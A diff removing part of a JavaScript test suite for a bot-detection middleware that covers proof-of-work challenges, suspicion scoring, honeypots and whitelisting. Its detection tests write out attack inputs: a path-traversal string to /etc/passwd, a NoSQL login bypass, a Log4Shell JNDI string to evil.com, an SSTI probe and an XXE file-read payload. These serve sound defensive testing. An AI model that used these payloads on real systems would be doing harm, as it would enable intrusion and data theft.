-                send: (body) => { challengeBody = body; },
-                cookie: vi.fn()
-            };
-            const middleware = powMiddleware(securityConfig);
-            await middleware(initialReq, initialRes, vi.fn());
-
-            expect(challengeBody).toBeDefined();
-            expect(challengeBody).toContain('Enhanced Verification');
-
-            // --- ÉTAPE 2: Extraire les paramètres du challenge et le résoudre ---
-            const nonce = challengeBody.match(/const nonce = "([^"]+)"/)[1];
-            const clientSecret = challengeBody.match(/const clientSecret = "([^"]+)"/)[1];
-            const cpuTargetHex = challengeBody.match(/const cpuTarget = BigInt\("0x" \+ "([^"]+)"\);/)[1];
-            const memDifficulty = parseInt(challengeBody.match(/const memDifficulty = (\d+)/)[1], 10);
-
-            // The server stores the challenge context. We need to ensure the `baseBlock` is present for verification.
-            const baseBlock = new TextEncoder().encode(`${nonce}:${clientSecret}:${solverFingerprint}:`);
-            await inMemoryStore.set(`secret:${nonce}`, {
-                clientSecret: clientSecret,
-                cpuTarget: cpuTargetHex,
-                memDifficulty: memDifficulty,
-                fingerprint: solverFingerprint, // The server expects this fingerprint.
-                originalPath: '/some-data',
-                baseBlock: baseBlock, // CRITICAL: The verification function needs this.
-                suspicionScore: 40 // Store the score that triggered the challenge
-            });
-
-            // Client-side solving using the real solver function for accuracy
-            const cpuSolution = await solveCpuTargetInline(baseBlock, cpuTargetHex, () => {});
-            const memSolution = await solveMemory(`:${nonce}:${clientSecret}`, memDifficulty);
-
-
-            // --- ÉTAPE 3: Soumettre la solution ---
-            const submissionReq = {
-                path: '/some-data', ip, cookies: {},
-                query: {
-                    pow_type: 'cpu_mem',
-                    pow_nonce: nonce,
-                    pow_solution_cpu: String(cpuSolution),
-                    pow_solution_mem: String(memSolution),
-                    pow_fp: solverFingerprint // The client submits its fingerprint.
-                },
-                headers: { 'user-agent': userAgent, 'x-device-fingerprint': solverFingerprint }, rawHeaders: ['User-Agent', userAgent], httpVersion: '1.1'
-            };
-
-            let capturedCookie;
-            const submissionRes = {
-                cookie: (name, value, options) => { capturedCookie = { name, value, options }; return submissionRes; },
-                redirect: vi.fn(),
-                // Add status and send to the mock to handle potential challenge re-issuance on failure
-                status: vi.fn(function() { return this; }),
-                send: vi.fn(),
-            };
-
-            submissionReq.fingerprint = {}; // Initialize req.fingerprint
-            await middleware(submissionReq, submissionRes, vi.fn());
-
-            // --- ÉTAPE 4: Assertions ---
-            expect(submissionRes.redirect).toHaveBeenCalled();
-            expect(capturedCookie).toBeDefined();
-            expect(capturedCookie.name).toBe('pow_clearance');
-            // The key assertion: the cookie's maxAge should be the short probationary TTL
-            expect(capturedCookie.options.maxAge).toBe(probationaryTtl);
-        }, 40000);
-
-        test('should NOT redirect if PoW solution is valid but clientSecret is wrong', async () => {
-            const ip = '127.0.0.1';
-            const nonce = 'test-nonce-wrong-secret';
-            const correctClientSecret = 'the-correct-secret'; // This is what the client gets and uses
-            const wrongClientSecretOnServer = 'the-wrong-secret';
-            const suspicionFactor = 0.1;
-            const securityConfigWithLowDiff = {
-                ...securityConfig,
-                cpu: { minDifficultyBits: 4, ...securityConfig.cpu }, // Merge configs correctly
-            };
-            const solverFingerprint = 'fp-test';
-            const target = __internal.calculateTarget(suspicionFactor, securityConfigWithLowDiff);
-            const baseBlock = new TextEncoder().encode(`${nonce}:${correctClientSecret}:${solverFingerprint}:`);
-
-            // 1. Le client résout le challenge avec le secret qu'il a reçu (le bon)
-            let solution = 0;
-            // Client-side simulation: hash does NOT include IP when clientSecret is used.
-            while (solution < 100000) { // Add a limit to prevent infinite loops in case of bad target
-                const hash = createHash('sha256').update(Buffer.concat([Buffer.from(baseBlock), Buffer.from(String(solution))])).digest('hex');
-                if (BigInt('0x' + hash) < target) break;
-                solution++;
-            }
-
-            // 2. Le serveur, pour une raison quelconque (corruption, attaque), a un mauvais secret stocké
-            await inMemoryStore.set(`secret:${nonce}`, {
-                clientSecret: wrongClientSecretOnServer, // The secret is wrong
-                cpuTarget: target.toString(16), // But the target is correct
-                memDifficulty: 0,
-                fingerprint: solverFingerprint, // Fingerprint is correct
-                baseBlock: new TextEncoder().encode(`${nonce}:${wrongClientSecretOnServer}:${solverFingerprint}:`)
-            });
-
-            vi.spyOn(__internal, 'getSuspicionVector').mockImplementation(async function() {
-                return {
-                    historyScore: 25, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, honeypotScore: 0
-                };
-            });
-
-            const req = {
-                path: '/protected', ip, cookies: {},
-                query: {
-                    pow_type: 'cpu_target', pow_nonce: nonce, pow_solution: solution, pow_fp: solverFingerprint
-                },
-                headers: { 'user-agent': 'test-ua' }, rawHeaders:[], httpVersion: '1.1'
-            };
-
-            let sentStatus, sentBody;
-            const res = {
-                status: (s) => { sentStatus = s; return res; },
-                send: (b) => { sentBody = b; },
-                redirect: vi.fn(), // On s'attend à ce que cette fonction ne soit PAS appelée
-                cookie: vi.fn()
-            };
-            const next = vi.fn();
-
-            req.fingerprint = {};
-            await powMiddleware(securityConfigWithLowDiff)(req, res, next);
-
-            expect(res.redirect).not.toHaveBeenCalled();
-            // An invalid solution is a strong bot signal (honeypotScore=100), which should trigger a block.
-            expect(sentStatus, 'Should return status 404 to block the request').toBe(404);
-            expect(sentBody, 'Should send a Forbidden message').toBe('Forbidden');
-            // Use the same fallback logic as the engine: default block threshold is 95 if not specified.
-            const blockThreshold = securityConfigWithLowDiff.thresholds.block ?? 95;
-            expect(req.fingerprint.score).toBeGreaterThanOrEqual(blockThreshold);
-        });
-
-        test('should redirect after a valid COMBINED (CPU+Mem) PoW solution is provided', async (context) => {
-
-        });
-    });
-
-    describe('Suspicion Scoring Logic (Integration)', () => {
-        const inMemoryStore = {
-            _map: new Map(),
-            async get(key) { return this._map.get(key); },
-            async set(key, value) { this._map.set(key, value); },
-        };
-        beforeEach(() => {
-            inMemoryStore._map.clear();
-            configureStore(inMemoryStore);
-            // Add a default mock for getTlsFingerprint to stabilize these tests.
-            // This needs to spy on the actual function, not the __internal export.
-            vi.spyOn(fingerprint.__internal, 'getTlsFingerprint').mockReturnValue({
-                ja3: 'mock-ja3',
-                ja4: 'mock-ja4'
-            });
-        });
-
-        test('should produce a high historyScore for rapid IP rotation', async () => {
-            const req = {
-                headers: {
-                    'user-agent': 'test',
-                    'x-device-fingerprint': 'cvs:123|gpu:456|hw:789' // Simulate client-side FP
-                },
-                cookies: {}, ip: '1.1.1.1', path: '/', query: {}, rawHeaders: ['User-Agent', 'test']
-            };
-            const res = { cookie: vi.fn() };
-            // Simulate a device using many IPs
-            const deviceData = { initialDeviceHash: 'hash1', ips: new Set(['1.1.1.2', '1.1.1.3', '1.1.1.4', '1.1.1.5', '1.1.1.6']), lastUpdate: Date.now(), lastFpHash: 'hash1', lastChangeTimestamp: 0, rapidChangeCount: 0 };
-            await inMemoryStore.set('device:test-device-id', deviceData);
-            req.cookies.device_id = 'test-device-id';
-
-            // We need an engine instance to hold the security config for the context
-            const securityConfig = {
-                weights: { historyScore: 1.0 },
-                thresholds: { low: 20 },
-            };
-            const engine = new FingerprintEngine(securityConfig);
-
-            req.fingerprint = {}; // Initialize req.fingerprint
-            const vector = await __internal.getSuspicionVector(req, securityConfig);
-            expect(vector.historyScore).toBeGreaterThan(20);
-        });
-
-        test('should produce a high honeypotScore for a trapped URL parameter', async () => {
-            // Configure the honeypot to trap the 'debug' parameter
-            const securityConfigWithHoneypot = {
-                weights: { honeypotScore: 1.0 },
-                thresholds: { low: 20, medium: 45, high: 75 }, // Configuration complète
-                honeypot: { // Configuration complète
-                    fields: ['email_confirm', 'debug']
-                }
-            };
-            const engine = new FingerprintEngine(securityConfigWithHoneypot);
-
-            const requestContext = {
-                clientIp: '1.1.1.1',
-                path: '/',
-                cookies: {},
-                query: new URLSearchParams({ user_id: '123', debug: 'true' }), // Bot is probing with a 'debug' parameter
-                body: {},
-                headers: { 'User-agent': 'test' },
-                rawHeaders: ['User-Agent', 'test'],
-                httpVersion: '1.1',
-                isStatic: false
-            };
-
-            requestContext.fingerprint = {}; // Initialize req.fingerprint
-            // Call the main engine processing method to get the full decision object
-            const decision = await engine.processRequest(requestContext);
-            console.log({decision})
-
-            // The honeypotScore should be 100 because the 'debug' parameter was found
-            expect(decision.vector.honeypotScore).toBe(100);
-            expect(decision.score).toBe(100); // With weight 1.0, the final score should also be 100
-        });
-
-        test('should produce a high honeypotScore for RCE attempt in body', async () => {
-            const securityConfig = {
-                weights: { honeypotScore: 1.0 },
-                thresholds: { low: 20, medium: 45, high: 75 }, // Configuration complète
-                honeypot: { detectInjections: true } // Configuration complète
-            };
-            const engine = new FingerprintEngine(securityConfig);
-            const requestContext = {
-                query: {},
-                path: '/',
-                body: { filename: "../../../etc/passwd" },
-                headers: { 'user-agent': 'test' },
-                // ... autres propriétés du contexte
-            };
-
-            requestContext.fingerprint = {}; // Initialize req.fingerprint
-            const decision = await engine.processRequest(requestContext);
-            expect(decision.vector.honeypotScore).toBe(100);
-            expect(decision.score).toBe(100);
-        });
-
-        test('should produce a high honeypotScore for NoSQL injection attempt in body', async () => {
-            const securityConfig = {
-                weights: { honeypotScore: 1.0 },
-                thresholds: { low: 20, medium: 45, high: 75 }, // Configuration complète
-                honeypot: { detectInjections: true } // Configuration complète
-            };
-            const engine = new FingerprintEngine(securityConfig);
-            const requestContext = {
-                query: {},
-                path: '/',
-                body: { "username": { "$ne": null }, "password": { "$ne": null } },
-                headers: { 'user-agent': 'test' },
-                // ... autres propriétés du contexte
-            };
-
-            requestContext.fingerprint = {}; // Initialize req.fingerprint
-            const decision = await engine.processRequest(requestContext);
-            expect(decision.vector.honeypotScore).toBe(100);
-            expect(decision.score).toBe(100);
-        });
-
-        test('should produce a zero honeypotScore for a normal request', async () => {
-            const securityConfig = {
-                weights: { honeypotScore: 1.0 },
-                thresholds: { low: 20, medium: 45, high: 75 },
-                // Explicitly disable the new device challenge for this test to ensure a score of 0 is possible.
-                challengeNewDevices: false,
-                honeypot: { detectInjections: true } // Configuration complète
-            };
-            const engine = new FingerprintEngine(securityConfig);
-            const requestContext = {
-                query: new URLSearchParams({ id: "123" }),
-                body: { comment: "This is a normal comment." },
-                headers: { 'user-agent': 'test' },
-                path: '/'
-            };
-            requestContext.fingerprint = {}; // Initialize req.fingerprint
-            const decision = await engine.processRequest(requestContext);
-            expect(decision.vector.honeypotScore).toBe(0); // Le score honeypot doit être 0
-        });
-    });
-
-    describe('Threshold Auto-Tuning', () => {
-        let setIntervalSpy, clearIntervalSpy, consoleLogSpy;
-
-        beforeEach(() => {
-            setIntervalSpy = vi.spyOn(global, 'setInterval');
-            clearIntervalSpy = vi.spyOn(global, 'clearInterval');
-            consoleLogSpy = vi.spyOn(console, 'log').mockImplementation(() => {});
-        });
-        afterEach(() => {
-            vi.restoreAllMocks();
-            stopThresholdAutoTuning(); // Ensure cleanup after each test
-        });
-
-        test('should start, run an optimization cycle, and update thresholds', () => {
-            const trafficData = [];
-            const securityConfig = {
-                thresholds: { low: 50, medium: 70, high: 90 }, // Mauvais seuils initiaux intentionnels
-                weights: { historyScore: 0.5, rotationScore: 0.5, requestPatternScore: 0.5 }, // Poids initiaux
-                patterns: { velocityThreshold: 1000, decayFactor: 0.9 }, // Patterns initiaux
-                logger: (log) => trafficData.push(log),
-            };
-
-            // Generate mock data where optimal 'low' threshold is around 25
-            // Bots with low scores (false negatives)
-            for (let i = 0; i < 50; i++) {
-                const score = 15 + Math.random() * 5;
-                trafficData.push({ type: 'challenge_issued', deviceId: `bot-${i}`, score, vector: { historyScore: score, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, requestPatternScore: 0, honeypotScore: 0, behaviorScore: 0, crossLayerInconsistencyScore: 0, timeInconsistencyScore: 0 } });
-            }
-            // Humans with slightly higher scores (false positives)
-            for (let i = 0; i < 50; i++) {
-                const score = 30 + Math.random() * 5;
-                trafficData.push({ type: 'request_passed', deviceId: `human-${i}`, score, vector: { historyScore: score, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, requestPatternScore: 0, honeypotScore: 0, behaviorScore: 0, crossLayerInconsistencyScore: 0, timeInconsistencyScore: 0 } });
-            }
-            // Solved challenges (clear humans)
-            for (let i = 0; i < 20; i++) {
-                const score = 40;
-                trafficData.push({ type: 'challenge_solved', deviceId: `human-solver-${i}`, score, vector: { historyScore: score, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, requestPatternScore: 0, honeypotScore: 0, behaviorScore: 0, crossLayerInconsistencyScore: 0, timeInconsistencyScore: 0 } });
-            }
-
-
-            startThresholdAutoTuning({
-                securityConfig,
-                trafficData,
-                interval: 60000, // 1 minute
-                minDataPoints: 100,
-            });
-
-            // Manually trigger the optimization cycle
-            const intervalCallback = setIntervalSpy.mock.calls[0][0];
-            intervalCallback();
-
-            // The genetic algorithm should find better thresholds.
-            // We expect 'low' to decrease significantly from 50.
-            // With inertia, the change is gradual. We check that it has decreased but not jumped to the final value.
-            expect(securityConfig.thresholds.low).toBeLessThan(50); // It must have decreased.
-            expect(securityConfig.thresholds.low).toBeGreaterThan(30); // It shouldn't have jumped all the way down.
-            expect(consoleLogSpy).toHaveBeenCalledWith(expect.stringContaining('[AutoTuning] Nouvelle configuration de sécurité optimisée appliquée.'));
-            expect(setIntervalSpy).toHaveBeenCalledTimes(1);
-
-            // Stop the tuner and check if the interval is cleared
-            stopThresholdAutoTuning();
-            expect(clearIntervalSpy).toHaveBeenCalled();
-        });
-
-        test('should not run optimization if data points are insufficient', () => {
-            const trafficData = [];
-            const securityConfig = {
-                thresholds: { low: 20, medium: 45, high: 75 },
-                weights: {}, // Add missing properties to prevent TypeError
-                patterns: {}, // Add missing properties to prevent TypeError
-                logger: (log) => trafficData.push(log),
-            };
-
-            // Generate only 50 data points, less than the minimum of 100
-            for (let i = 0; i < 50; i++) {
-                const score = 10;
-                trafficData.push({ type: 'request_passed', deviceId: `human-${i}`, score, vector: { historyScore: score } });
-            }
-
-            startThresholdAutoTuning({
-                securityConfig,
-                trafficData,
-                interval: 60000,
-                minDataPoints: 100,
-            });
-
-            // Manually trigger the cycle
-            const intervalCallback = setIntervalSpy.mock.calls[0][0];
-            intervalCallback();
-
-            // Check that optimization was postponed
-            expect(consoleLogSpy).toHaveBeenCalledWith(expect.stringContaining('[AutoTuning] Reporté'));
-            // Thresholds should not have changed
-            expect(securityConfig.thresholds).toEqual({ low: 20, medium: 45, high: 75 });
-
-            // Add more data to meet the minDataPoints and MIN_CONFIDENCE_RATIO thresholds
-            // 1. Add enough low-confidence data to reach the minDataPoints
-            for (let i = 0; i < 45; i++) { // Add 45 more to reach 95
-                const score = 10;
-                trafficData.push({ type: 'request_passed', deviceId: `human-new-${i}`, score, vector: { historyScore: score } });
-            }
-            // 2. Add high-confidence data to pass the ratio check (5% of 100 is 5)
-            for (let i = 0; i < 5; i++) {
-                const score = 30;
-                trafficData.push({ type: 'challenge_solved', deviceId: `solver-${i}`, score, vector: { historyScore: score } });
-            }
-
-            // Trigger again
-            intervalCallback();
-            // Now that both conditions (minDataPoints and confidence ratio) are met, optimization should start.
-            expect(consoleLogSpy).toHaveBeenCalledWith(expect.stringContaining('[AutoTuning] Démarrage du cycle d\'optimisation'));
-        });
-    });
-
-
-    describe('getHoneypotScore Advanced Detections', () => {
-        // Helper to run tests through the real FingerprintEngine
-        beforeEach(() => {
-            vi.spyOn(fingerprint.__internal, 'getTlsFingerprint').mockReturnValue({ ja3: 'mock-ja3', ja4: 'mock-ja4' });
-        });
-
-        const getHoneypotScoreFromEngine = async (context, honeypotConfig) => {
-            const securityConfig = {
-                weights: { honeypotScore: 1.0 }, // Isolate honeypot score
-                thresholds: { low: 1, medium: 2, high: 3 }, // Configuration complète
-                honeypot: honeypotConfig, // Configuration complète
-            };
-            // The engine expects a full request context. We build one here.
-            const fullContext = {
-                clientIp: '127.0.0.1',
-                path: '/',
-                query: {},
-                cookies: {},
-                headers: { 'user-agent': 'test' },
-                ...context, // Spread the test-specific context (body, headers)
-            };
-            const engine = new FingerprintEngine(securityConfig);
-            const decision = await engine.processRequest(fullContext);
-            return { honeypotScore: decision.vector.honeypotScore };
-        };
-
-        it('should detect Log4Shell injection attempts', async () => {
-            const context = { body: { username: 'test', comment: 'Hello ${jndi:ldap://evil.com/a}' } };
-            // Explicitly enable the check for this test
-            const config = { detectInjections: ['log4shell'], fields: [] };
-            expect((await getHoneypotScoreFromEngine(context, config)).honeypotScore).toBe(100);
-        });
-
-        it('should detect Server-Side Template Injection (SSTI)', async () => {
-            const context = { query: { name: '{{ 7*7 }}' } };
-            // Explicitly enable the check for this test
-            const config = { detectInjections: ['ssti'], fields: [] };
-            expect((await getHoneypotScoreFromEngine(context, config)).honeypotScore).toBe(100);
-        });
-
-        it('should detect XML External Entity (XXE) injection', async () => {
-            const context = { body: { xml_payload: '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>' } };
-            // Explicitly enable the check for this test
-            const config = { detectInjections: ['xxe'], fields: [] };
-            expect((await getHoneypotScoreFromEngine(context, config)).honeypotScore).toBe(100);
-        });
-
-        it('should NOT detect human-like field interaction order', async () => {
-            const context = {
-                body: { username: 'human', password: 'password123' },
-                headers: { 'x-form-interaction': 'password,username' } // Ordre inversé
-            };
-            const config = { checkFieldOrder: true, fields: [] };
-            expect((await getHoneypotScoreFromEngine(context, config)).honeypotScore).toBe(0);
-        });
-
-        it('should not trigger on legitimate requests', async () => {
-            const context = {
-                body: { username: 'legit', comment: 'This is a normal comment.' },
-                headers: { 'x-form-interaction': 'username,comment' }
-            };
-            const config = { detectInjections: true, checkFieldOrder: true, fields: [] };
-            expect((await getHoneypotScoreFromEngine(context, config)).honeypotScore).toBe(0);
-        });
-    });
-
-    describe('Honeypot Scenarios', () => {
-        const inMemoryStore = {
-            _map: new Map(),
-            async get(key) { return this._map.get(key); },
-            async set(key, value) { this._map.set(key, value); },
-            async has(key) { return this._map.has(key); },
-            async delete(key) { this._map.delete(key); },
-        };
-
-        beforeEach(() => {
-            inMemoryStore._map.clear();
-            configureStore(inMemoryStore);
-            vi.restoreAllMocks();
-            // Add a default mock for getTlsFingerprint to stabilize these tests.
-            // This needs to spy on the actual function, not the __internal export.
-            vi.spyOn(fingerprint.__internal, 'getTlsFingerprint').mockReturnValue({
-                ja3: 'mock-ja3', ja4: 'mock-ja4'
-            });
-        });
-
-        const baseSecurityConfig = {
-            weights: { historyScore: 0.1, rotationScore: 0.1, headerAnomalyScore: 0.1, inconsistencyScore: 0.1, honeypotScore: 1.0 },
-            thresholds: { low: 20, medium: 45, high: 75, block: 95 },
-            honeypot: {
-                fields: ['email_confirm'],
-                trapUrls: ['/wp-admin', '/.env'],
-                detectInjections: true
-            }
-        };
-
-        it('should immediately block a request to a trap URL', async () => {
-            const engine = new FingerprintEngine(baseSecurityConfig);
-            const requestContext = {
-                clientIp: '1.1.1.1',
-                path: '/wp-admin/login.php', // Hitting a trap URL
-                cookies: {},
-                query: {},
-                body: {},
-                headers: { 'user-agent': 'A regular browser' },
-                rawHeaders: ['user-agent', 'A regular browser'],
-                isStatic: false,
-            };
-
-            const decision = await engine.processRequest(requestContext);
-
-            expect(decision.vector.honeypotScore).toBe(100);
-            expect(decision.score).toBeGreaterThanOrEqual(100);
-            expect(decision.action).toBe('block');
-            expect(decision.status).toBe(404);
-        });
-
-        it('should penalize direct challenge probing', async () => {
-            const engine = new FingerprintEngine(baseSecurityConfig);
-            // This request is not suspicious on its own...
-            vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({
-                historyScore: 0, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, requestPatternScore: 0
-            });
-
-            const requestContext = {
-                clientIp: '1.1.1.1',
-                path: '/',
-                cookies: {},
-                query: { pow_nonce: 'some-nonce-the-bot-is-testing' }, // ...but it's probing a challenge endpoint.
-                body: {},
-                headers: { 'user-agent': 'A regular browser' },
-                rawHeaders: ['user-agent', 'A regular browser'],
-                isStatic: false,
-            };
-
-            const decision = await engine.processRequest(requestContext);
-
-            // The engine should detect the probe and assign a max honeypot score.
-            expect(decision.vector.honeypotScore).toBe(100);
-            expect(decision.score).toBeGreaterThanOrEqual(100);
-            // The action should be to block the request.
-            expect(decision.action).toBe('block');
-        });
-
-        it('should persist the "condemned" status of a device across requests', async () => {
-            const engine = new FingerprintEngine(baseSecurityConfig);
-            const deviceId = 'condemned-device-123';
-
-            // Step 1: The device hits a trap URL and gets condemned.
-            const trapRequestContext = { // This context is for conceptual setup, not direct processing in this test
-                clientIp: '1.1.1.1',
-                path: '/.env', // Trap URL
-                cookies: { device_id: deviceId },
-                query: {}, body: {}, headers: { 'user-agent': 'A regular browser' }, isStatic: false,
-            };
-
-            // We need to store the initial device data for the condemnation to stick.
-            await inMemoryStore.set(`device:${deviceId}`, {
-                initialDeviceHash: 'any-hash',
-                ips: new Set(['1.1.1.1']),
-                lastUpdate: Date.now(),
-                lastFpHash: 'any-hash',
-                lastChangeTimestamp: 0,
-                rapidChangeCount: 0,
-                condemned: true // This is the key part
-            });
-
-            // Step 2: The same device makes a new, seemingly innocent request.
-            const innocentRequestContext = {
-                clientIp: '1.1.1.1',
-                path: '/legitimate-page', // Normal URL
-                cookies: { device_id: deviceId }, // Same device ID
-                query: new URLSearchParams(), body: {}, headers: { 'user-agent': 'A regular browser' }, rawHeaders: ['user-agent', 'A regular browser'], isStatic: false,
-            };
-
-            const decision = await engine.processRequest(innocentRequestContext);
-
-            // The honeypot score should still be 100 due to the persisted "condemned" status.
-            expect(decision.vector.honeypotScore).toBe(100);
-            expect(decision.action).toBe('block');
-        });
-
-        it('should use external analyzers to detect threats', async () => {
-            const customAnalyzer = vi.fn((data) => {
-                // This analyzer flags any request containing the word 'custom-threat'
-                return JSON.stringify(data).includes('custom-threat');
-            });
-
-            const securityConfigWithAnalyzer = {
-                // On crée une config locale pour ce test pour éviter les interférences
-                weights: baseSecurityConfig.weights,
-                thresholds: baseSecurityConfig.thresholds,
-                // Pour ce test, on désactive le challenge des nouveaux appareils pour isoler le comportement de l'analyseur.
-                // Cela empêche une requête propre d'être challengée juste parce qu'elle est nouvelle.
-                challengeNewDevices: false,
-                honeypot: { // Configuration complète
-                    ...baseSecurityConfig.honeypot,
-                    analyzers: [customAnalyzer]
-                }
-            };
-
-            const engine = new FingerprintEngine(securityConfigWithAnalyzer);
-
-            // 1. Test a request that should be flagged by the analyzer
-            const maliciousRequestContext = {
-                clientIp: '1.1.1.1',
-                path: '/some-path',
-                cookies: {},
-                query: {},
-                body: { comment: 'this is a custom-threat' },
-                headers: { 'user-agent': 'A regular browser' },
-                rawHeaders: ['user-agent', 'A regular browser'],
-                isStatic: false,
-            };
-
-            const decisionMalicious = await engine.processRequest(maliciousRequestContext);
-
-            expect(customAnalyzer).toHaveBeenCalledWith({ comment: 'this is a custom-threat' });
-            expect(decisionMalicious.vector.honeypotScore).toBe(100);
-            expect(decisionMalicious.action).toBe('block');
-
-            // 2. Test a normal request that should not be flagged
-            const cleanRequestContext = {
-                clientIp: '2.2.2.2',
-                path: '/some-path',
-                cookies: {},
-                query: {},
-                body: { comment: 'this is a normal comment' },
-                headers: { 'user-agent': 'A regular browser', 'accept-language': 'en-US,en;q=0.9' },
-                rawHeaders: ['user-agent', 'A regular browser', 'accept-language', 'en-US,en;q=0.9'],
-                isStatic: false,
-            };
-
-            const decisionClean = await engine.processRequest(cleanRequestContext);
-
-            expect(customAnalyzer).toHaveBeenCalledWith({ comment: 'this is a normal comment' });
-            // The honeypot score should be 0 as no other traps were triggered
-            expect(decisionClean.vector.honeypotScore).toBe(0);
-        });
-    });
-
-    describe('getBehaviorScore', () => {
-        // La fonction est privée, on la récupère via l'export __internal
-        // FIX: Correctly assign the function before tests run.
-        beforeEach(() => {
-            getBehaviorScore = fingerprint.__internal.getBehaviorScore;
-        });
-
-        beforeEach(() => {
-            getBehaviorScore = fingerprint.__internal.getBehaviorScore;
-        });
-
-        it('should return a score of 0 when x-behavior-metrics header is missing', () => {
-            const context = { headers: {} };
-            const { behaviorScore } = getBehaviorScore(context);
-            expect(behaviorScore).toBe(0);
-        });
-
-        it('should return a score of 100 for honeypot interaction', () => {
-            const metrics = { honeypotInteraction: true, mouseEntropy: 50, keystrokeLatency: 120 };
-            const context = { headers: { 'x-behavior-metrics': JSON.stringify(metrics) } };
-            const { behaviorScore } = getBehaviorScore(context);
-            expect(behaviorScore).toBe(100);
-        });
-
-        it('should return a score of 40 for no mouse or keyboard activity', () => {
-            const metrics = { honeypotInteraction: false, mouseMovementsHistory: [], keystrokeLatency: 0 };
-            const context = { headers: { 'x-behavior-metrics': JSON.stringify(metrics) } };
-            const { behaviorScore } = getBehaviorScore(context);
-            expect(behaviorScore).toBe(40);
-        });
-
-        it('should return a score of 0 for normal user activity', () => {
-            // Données de test avec un mouvement moins linéaire pour éviter la pénalité de "rectitude"
-            const metrics = { 
-                honeypotInteraction: false, 
-                mouseMovementsHistory: [{x:10,y:10,t:1},{x:12,y:15,t:100},{x:18,y:12,t:200},{x:25,y:25,t:300}], 
-                keystrokeLatency: 88.2 
-            };
-            const context = { headers: { 'x-behavior-metrics': JSON.stringify(metrics) } };
-            const { behaviorScore } = getBehaviorScore(context);
-            expect(behaviorScore).toBeLessThan(10); // Le score ne sera pas exactement 0, mais il devrait être très bas.
-        });
-
-        it('should return a score of 10 for a malformed header', () => {
-            const context = { headers: { 'x-behavior-metrics': 'this is not json' } };
-            const { behaviorScore } = getBehaviorScore(context);
-            expect(behaviorScore).toBe(10);
-        });
-    });
-
-    describe('getClickVarianceScore', () => {
-        // FIX: Correctly assign the function before tests run.
-        beforeEach(() => {
-            getClickVarianceScore = fingerprint.__internal.getClickVarianceScore;
-        });
-
-        it('should return 0 if no click history is present', () => {
-            const context = { headers: { 'x-behavior-metrics': JSON.stringify({}) } };
-            const { clickVarianceScore } = getClickVarianceScore(context);
-            expect(clickVarianceScore).toBe(0);
-        });
-
-        it('should return 0 if there are not enough clicks on a single target', () => {
-            const metrics = {
-                clicksHistory: [
-                    { x: 10, y: 10, targetId: 'hash1' },
-                    { x: 11, y: 11, targetId: 'hash1' },
-                    { x: 100, y: 100, targetId: 'hash2' }
-                ]
-            };
-            const context = { headers: { 'x-behavior-metrics': JSON.stringify(metrics) } };
-            const { clickVarianceScore } = getClickVarianceScore(context);
-            expect(clickVarianceScore).toBe(0);
-        });
-
-        it('should return a high score for clicks with very low variance', () => {
-            const metrics = {
-                clicksHistory: [
-                    { x: 100, y: 100, targetId: 'hash1' },
-                    { x: 100.1, y: 100.2, targetId: 'hash1' },
-                    { x: 99.9, y: 99.8, targetId: 'hash1' }
-                ]
-            };
-            const context = { headers: { 'x-behavior-metrics': JSON.stringify(metrics) } };
-            const { clickVarianceScore } = getClickVarianceScore(context);
-            expect(clickVarianceScore).toBeGreaterThan(90);
-        });
-
-        it('should return a low score for clicks with high (human-like) variance', () => {
-            const metrics = {
-                clicksHistory: [
-                    { x: 105, y: 110, targetId: 'hash1' },
-                    { x: 98, y: 102, targetId: 'hash1' },
-                    { x: 112, y: 95, targetId: 'hash1' }
-                ]
-            };
-            const context = { headers: { 'x-behavior-metrics': JSON.stringify(metrics) } };
-            const { clickVarianceScore } = getClickVarianceScore(context);
-            expect(clickVarianceScore).toBe(0);
-        });
-    });
-
-    describe('Bot Whitelisting', () => {
-        const inMemoryStore = {
-            _map: new Map(),
-            get: async (key) => inMemoryStore._map.get(key),
-            set: async (key, value) => inMemoryStore._map.set(key, value),
-            has: async (key) => inMemoryStore._map.has(key),
-            delete: async (key) => inMemoryStore._map.delete(key),
-        };
-
-        const securityConfig = {
-            weights: {}, // Add empty weights to satisfy the validator
-            thresholds: {}, // Add empty thresholds to satisfy the validator
-            whitelist: [
-                { userAgent: 'Googlebot', hostnameSuffix: '.googlebot.com' },
-                { userAgent: 'TestBot', hostnameSuffix: '.test-verifier.com' },
-                { userAgent: 'MalformedRegexBot(]', hostnameSuffix: '.invalid.com' } // Invalid regex
-            ]
-        };
-
-        let engine;
-
-        beforeEach(() => {
-            inMemoryStore._map.clear();
-            configureStore(inMemoryStore);
-            vi.resetAllMocks(); // Reset mocks before each test
-            engine = new FingerprintEngine(securityConfig);
-        });
-
-        test('should verify a legitimate Googlebot', async () => {
-            const googleIp = '66.249.66.1';
-            const googleHostname = 'crawl-66-249-66-1.googlebot.com';
-
-            vi.mocked(dns.reverse).mockResolvedValue([googleHostname]);
-            vi.mocked(dns.resolve).mockResolvedValue([googleIp]);
-
-            const requestContext = {
-                clientIp: googleIp,
-                headers: { 'user-agent': 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)' }
-            };
-
-            const isVerified = await engine._verifyWhitelistedBot(requestContext);
-            expect(isVerified).toBe(true);
-            expect(vi.mocked(dns.reverse)).toHaveBeenCalledWith(googleIp);
-            expect(vi.mocked(dns.resolve)).toHaveBeenCalledWith(googleHostname);
-        });
-
-        test('should reject a fake Googlebot with non-matching IP', async () => {
-            const fakeGoogleIp = '1.2.3.4';
-            const fakeHostname = 'not-google.com';
-
-            vi.mocked(dns.reverse).mockResolvedValue([fakeHostname]);
-
-            const requestContext = {
-                clientIp: fakeGoogleIp,
-                headers: { 'user-agent': 'Googlebot' }
-            };
-
-            const isVerified = await engine._verifyWhitelistedBot({ ...requestContext, fingerprint: {} }); // Pass fingerprint
-            expect(isVerified).toBe(false);
-            expect(vi.mocked(dns.reverse)).toHaveBeenCalledWith(fakeGoogleIp);
-            expect(vi.mocked(dns.resolve)).not.toHaveBeenCalled(); // Should fail at reverse lookup
-        });
-
-        test('should reject a bot if forward DNS does not match back to original IP', async () => {
-            const ip = '66.249.66.1';
